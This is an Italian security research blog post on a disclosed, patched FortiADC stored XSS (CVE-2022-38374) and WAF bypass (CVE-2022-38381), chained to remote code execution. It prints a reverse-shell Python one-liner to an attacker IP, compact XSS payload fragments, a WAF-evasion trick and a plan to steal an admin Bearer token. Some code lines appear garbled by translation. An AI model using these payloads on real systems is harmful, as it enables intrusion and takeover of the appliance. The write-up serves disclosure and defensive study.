Vivere fuori dalla pagina web: XSS persistente a RCE efficiente nello spazio in FortiADC

Blog di Almas Zhurtanov, Senior Security Specialist e Tom Tervoort, Principal Security Specialist

In questo articolo i nostri esperti di sicurezza Tom e Almas spiegano come sono riusciti a bypassare le difese lato client e server di FortiADC e a trasformare un XSS presumibilmente innocuo in RCE, utilizzando in modo ottimale uno spazio di payload estremamente limitato.

Il mese scorso, Fortinet ha applicato una patch a una vulnerabilità XSS persistente e a un bypass WAF in Fortinet Application Delivery Controller. Questa vulnerabilità consentiva a un aggressore remoto non autenticato di eseguire un attacco cross site scripting (XSS) memorizzato tramite i campi HTTP nelle visualizzazioni del registro eventi.

Sebbene la scoperta della vulnerabilità XSS di per sé non sia molto interessante, le misure difensive implementate hanno aumentato significativamente la complessità dell'exploit. Ciò rende questo XSS un buon caso di studio sull'aggiramento delle difese sia lato client che lato server.

Fortinet Logo 1200px

Prodotti interessati:

  • FortiADC versione 7.0.0 fino a 7.0.2
  • FortiADC versione da 6.2.0 a 6.2.3


Avvisi Fortinet:

  • https://www.fortiguard.com/psi... (CVE-2022-38374)
  • https://www.fortiguard.com/psi... (CVE-2022-38381)

Panoramica del prodotto e scoperta iniziale

Dopo la panoramica dei prodotti idonei per una ricerca sulle vulnerabilità, il team ha selezionato Fortinet Application Delivery Controller (FortiADC) come oggetto della ricerca. La decisione si è basata sul fatto che il prodotto aveva un gran numero di componenti complessi, il che significa che anche la superficie di attacco era piuttosto grande, e che era disponibile una versione di prova di 30 giorni su AWS Marketplace. Secondo Fortinet:

"FortiADC è un Application Delivery Controller (ADC) avanzato che garantisce la disponibilità delle applicazioni, la sicurezza delle applicazioni e l'ottimizzazione delle applicazioni.
FortiADC include l'accelerazione delle applicazioni, il WAF, l'IPS, l'SSLi, il bilanciamento del carico dei collegamenti e l'autenticazione degli utenti in un'unica soluzione per offrire disponibilità, prestazioni e sicurezza in un'unica licenza all-inclusive".
Fortinet 1

Dopo aver distribuito un'istanza del prodotto, sono stati analizzati i suoi componenti. Una delle prime cose che è stata identificata è la cosiddetta funzionalità "AWS Scripting", che consente all'amministratore di eseguire determinate attività di gestione caricando script Python ed eseguendoli:

"Gli utenti possono caricare script Python su FortiADC (sistema > pagina AWS Scripting) con l'impostazione del gruppo di traffico ed eseguire lo script sul FortiADC a cui appartiene il suo gruppo di traffico".

In altre parole, questo significa che gli utenti possono eseguire script Python arbitrari sull'application server. Cosa può andare storto? Questa funzionalità può essere abusata caricando ed eseguendo il seguente script per creare una shell inversa su una macchina controllata da un aggressore.

import os; os.system("bash -i >e /dev/tcp/<attacker-ip>/<port> 0>e1") 

Si è deciso di non segnalare questo problema al fornitore, poiché faceva parte della funzionalità prevista a disposizione dell'amministratore, e si è previsto che il fornitore non lo considererà una vulnerabilità di sicurezza. Tuttavia, dal momento che l'interfaccia di gestione SSH di FortiADC è risultata essere piuttosto limitata e forniva solo il modo di interagire con alcuni componenti dell'applicazione, ottenere l'accesso al sistema operativo potrebbe facilitare un'ulteriore analisi dell'applicazione. Vale anche la pena ricordare che l'applicazione out-of-the-box viene eseguita come utente root.

Il raggiungimento dell'esecuzione di comandi remoti è solitamente considerato un gioiello della corona quando si tratta di ricerca di vulnerabilità. Pertanto, si è cercato di identificare i modi per innescarla dal punto di vista degli utenti non autenticati. Tuttavia, poiché non sono stati identificati problemi di autenticazione o autorizzazione, si è deciso di spostare l'attenzione dall'attacco all'interfaccia di gestione stessa all'identificazione di difetti nel modo in cui FortiADC gestisce le richieste alle risorse dietro il bilanciatore di carico e il firewall delle applicazioni web (WAF). A tal fine, è stato distribuito separatamente un semplice server web, configurato per essere gestito dal bilanciatore di carico integrato di FortiADC. Anche il componente WAF è stato abilitato per il gruppo di bilanciamento del carico corrispondente. Sul server web dietro il bilanciatore di carico è stata distribuita una semplice applicazione web che rifletteva solo i parametri inviati con le richieste in entrata.

Fortinet 2

È stato presto identificato che il componente WAF ha bloccato efficacemente alcuni dei payload maligni di base che sono stati testati.

Fortinet 3

L'ispezione della funzionalità "Log e Report" di FortiADC ha rivelato che registra tutte le richieste e il traffico in arrivo sia all'interfaccia di gestione che a qualsiasi risorsa gestita da FortiADC, oltre ad alcuni eventi relativi alla sicurezza, e li analizza in tabelle leggibili dall'uomo.

Fortinet 4

Un rapido fuzzing ha aiutato a identificare la presenza di una vulnerabilità XSS nei campi di quella tabella. Il campo evidenziato nello screenshot sottostante illustra che è stato possibile iniettare un tag di testo in grassetto (<b>).

Fortinet 5

Limitazioni

Abbiamo rapidamente scoperto che l'exploit di questa vulnerabilità XSS era complicato dal fatto che le voci della tabella potevano avere solo una lunghezza limitata e tutto ciò che veniva dopo il 15° carattere veniva tagliato alla fine. In circostanze normali, questo potrebbe essere aggirato, ad esempio utilizzando nomi DNS brevi per estrarre codice aggiuntivo dalla risorsa controllata dall'aggressore. Tuttavia, questo non era possibile a causa della restrittiva Content-Security Policy (CSP) che bloccava qualsiasi contenuto proveniente da domini di terze parti.

Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline' 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'.

Un'altra falla minore, ma utile, è stata identificata poco dopo. Una versione non minimizzata del file JavaScript dell'applicazione era disponibile all'indirizzo https://application-base/ui/js/all.js. La revisione del codice ha confermato che i dati nei campi sono stati effettivamente tagliati, ma ha anche rivelato che le tabelle sono basate sulla libreria DataTables (http://datatables.net).

Fortinet 7
Fortinet 8

Combinate insieme, le seguenti restrizioni hanno ostacolato l'exploit di questa vulnerabilità XSS:

  • 15 caratteri per voce di tabella.
  • 10 voci per pagina.
  • Ogni voce viene valutata separatamente, poiché l'applicazione aggiunge automaticamente i tag di chiusura.
  • Ciò significa che non è possibile aprire un tag nel primo raw, chiuderlo nell'ultimo raw e inserire il payload nel mezzo. Ogni voce deve iniziare con un tag.
  • Questo si traduce in 150 caratteri per pagina per il payload, che è abbastanza grande per trovare un workaround.


Tuttavia, per ottenere l'esecuzione del codice è necessario aggiungere dei tag. Il tag più piccolo dovrebbe essere lungo almeno 3 caratteri, mentre il tag <script> è lungo 8 caratteri. Ciò significa che 30-80 caratteri di spazio devono essere spesi solo per i tag. Realisticamente, solo il tag <script> può essere utilizzato per far sì che l'XSS faccia qualcosa di utile, a causa delle restrizioni sulle dimensioni del payload. Per chiarire, esistono ovviamente molti altri modi alternativi per eseguire il codice, ma occupano molto più spazio. Questo lascia solo 70 caratteri per il payload. Inoltre, è importante che ogni voce sia una dichiarazione Javascript/HTML valida e completa, perché i tag vengono chiusi automaticamente alla fine della voce. Ciò significa che la restrizione di lunghezza non è realmente di 70 caratteri, ma piuttosto di 10 dichiarazioni separate con un massimo di 7 caratteri ciascuna. Il CSP restrittivo non consente il caricamento di script esterni, quindi è possibile eseguire solo il codice già presente nella pagina web.


Bypass del WAF (CVE-2022-38381)

L'unica strada percorribile in queste circostanze era quella di trovare un altro campo più grande vulnerabile agli XSS, oppure di trovare un payload abbastanza piccolo per ottenere il risultato desiderato. Per trovare un campo meno ristretto vulnerabile agli XSS, abbiamo analizzato quali campi controllati dall'utente erano anch'essi vulnerabili. Le voci delle righe potevano essere espanse per mostrare ulteriori dettagli relativi alla voce. I dati del record completo apparivano nel modo seguente.

Fortinet 9

I parametri illustrati nello screenshot precedente sono stati sottoposti a fuzzy e ciò ha portato a un risultato inaspettato. Si è scoperto che quando la versione del protocollo (HTTP/1.1) non era presente nella prima riga di una richiesta, il bilanciatore di carico inoltrava la richiesta all'host di destinazione, mentre il WAF la ignorava. Questo è illustrato negli screenshot sottostanti.

Fortinet 10

Quando manca la versione del protocollo, la richiesta viene inoltrata all'host di destinazione con lo stato 200 OK senza attivare il WAF.

Fortinet 11
Fortinet 12

Questo problema è stato risolto nella versione più recente di FortiADC.

Exploit di XSS persistente (CVE-2022-38374)

Ben presto si è scoperto che nessun altro luogo, oltre alle voci della tabella di registro, era vulnerabile. Ciò significava che l'unico modo per sfruttare l'XSS era quello di trovare un carico utile che fosse abbastanza piccolo e allo stesso tempo abbastanza complesso da fare qualcosa di utile.

Dopo un lungo brainstorming, si è deciso di procedere nel modo seguente:

Sarebbe possibile inserire nelle restrizioni di carattere una dichiarazione della funzione che farebbe clic sul pulsante della pagina successiva. In questo modo si avranno 10 voci in più con cui lavorare e una chiamata di funzione già definita occuperà solo 1 voce per andare alla pagina successiva, se necessario.

Trovi un altro parametro controllato dall'utente che si rifletta sulla pagina per contenere il carico utile. Non deve essere vulnerabile agli XSS.

Definisca una funzione per recuperare il payload ed eseguirlo.

Per dimostrare l'impatto, il payload finale deve rubare il Bearer Token dell'amministratore e inviare la richiesta di caricare ed eseguire uno script Python (ad esempio l'esempio di reverse shell incluso sopra), ottenendo così l'esecuzione di comando remoto desiderata.

Fortinet 13

Un'ulteriore limitazione che è stata affrontata in questa fase: I DataTables sono stati caricati prima nel processo rispetto ai pulsanti di paginazione delle tabelle. Pertanto, era necessario utilizzare un payload che sarebbe stato eseguito solo dopo il caricamento completo della pagina. Ciò ha limitato notevolmente la libertà di scelta, poiché il modo più breve per ottenere questo risultato è stato quello di utilizzare la funzione underscore (_) e, insieme ai tag di script, ha prodotto un payload lungo 30 caratteri.

_.delay(_=>$('.next').click())

Un altro workaround che permetteva di accedere ai tag senza spendere 8 caratteri per il tag <script> era quello di utilizzare il selettore JQuery che era già stato caricato nella pagina per accedere agli elementi della pagina con i loro nomi.

$('ext').text()

In questo modo, la suddivisione della funzione di ritardo in tre righe con il tag <ext> e l'esecuzione del codice precedente avrebbero effettivamente iterato alla pagina successiva. L'unico problema a questo punto era inserire la funzione eval nelle righe rimanenti. Questo è il motivo per cui è stato utilizzato il tag <ext>. L'idea era di rendere il carico utile il più efficiente possibile in termini di spazio. Si noti che le lettere 'ext' sono utilizzate sia per costruire la parola 'testo' che per accedere al contenuto del tag, il che consente di riutilizzare una singola variabile in due luoghi.

Il risultato è stato il seguente carico utile, illustrato schematicamente come apparirà nella Tabella dati.

Fortinet 14

Questo si traduce nel seguente codice:

x=$('ext').text() e=val e(e(x))

E i contenuti dei tag <ext> che contengono la funzione di ritardo per cliccare sul pulsante 'next' sono stati forniti sopra.

Il payload inserito nelle pagine di log successive utilizza la stessa tecnica per memorizzare la struttura DataTables in una variabile e quindi accedere ai suoi contenuti e valutarli. Uno dei campi che possono essere utilizzati per fornire il payload della seconda fase (principale) è "HTTP Query", che contiene qualsiasi dato inviato in un parametro di query GET. Ha ancora alcune limitazioni di dimensione e non può contenere l'intero payload rimanente, tuttavia può contenere almeno 400 caratteri e, dato che ci sono 10 voci di questo tipo in una singola pagina, questo è uno spazio più che sufficiente per caricare lo script, innescare l'RCE e ottenere una reverse shell. Poiché questo payload viene trasmesso come parametro di una query GET, deve essere codificato in base64 prima della trasmissione e decodificato prima dell'esecuzione.

Fortinet

Il codice completo dell'exploit è disponibile qui: https: //github.com/azhurtanov/CVE-2022-38374

Il problema è stato risolto nell'ultima versione di FortiADC.


Linea temporale

Aprile 2022 - vulnerabilità identificate

Giugno 2022 - vulnerabilità divulgate a FortiNet nell'ambito della divulgazione responsabile

Giugno 2022 - riconoscimento delle vulnerabilità da parte del fornitore

Agosto 2022 - vulnerabilità risolte

Ottobre 2022 - rilascio dell'avviso

Se ha domande e/o desidera mettersi in contatto con gli autori del blog, ci contatti all'indirizzo cybersecurity@bureauveritas.com.